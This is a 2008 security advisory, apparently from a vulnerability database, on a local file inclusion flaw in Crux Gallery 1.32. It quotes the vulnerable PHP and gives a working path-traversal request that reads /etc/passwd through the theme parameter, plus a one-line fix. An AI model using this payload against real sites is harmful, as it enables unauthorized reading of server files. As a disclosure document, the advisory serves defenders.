Crux Gallery <= 1.32 (index.php theme) Local File Inclusion Vulnerability

2008-10-09 / 2008-10-10
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

~~+=========================================================+~~ ~~+=========================================================+~~ [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability [?] Discovered On: 01/10/2008 [*] PHP.ini [*] Magic_Quotes_Gpc = Off ~~+=========================================================+~~ (index.php) // Greetz -> Osirys and darkjoker 14. $m = $_GET['m']; 15. $p = $_GET['p']; 16. $dir = $_GET['dir']; 17. require_once("main.php"); 18. require_once("themes/".$theme."/theme.php"); $theme isn't declared, so you can include any file. [*] http//[path]/index.php?theme=../../../../../etc/passwd%00 [*] How To Fix: declare $theme ~~+=========================================================+~~

References:

http://www.securityfocus.com/bid/31516
http://www.milw0rm.com/exploits/6645
http://secunia.com/advisories/32058


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top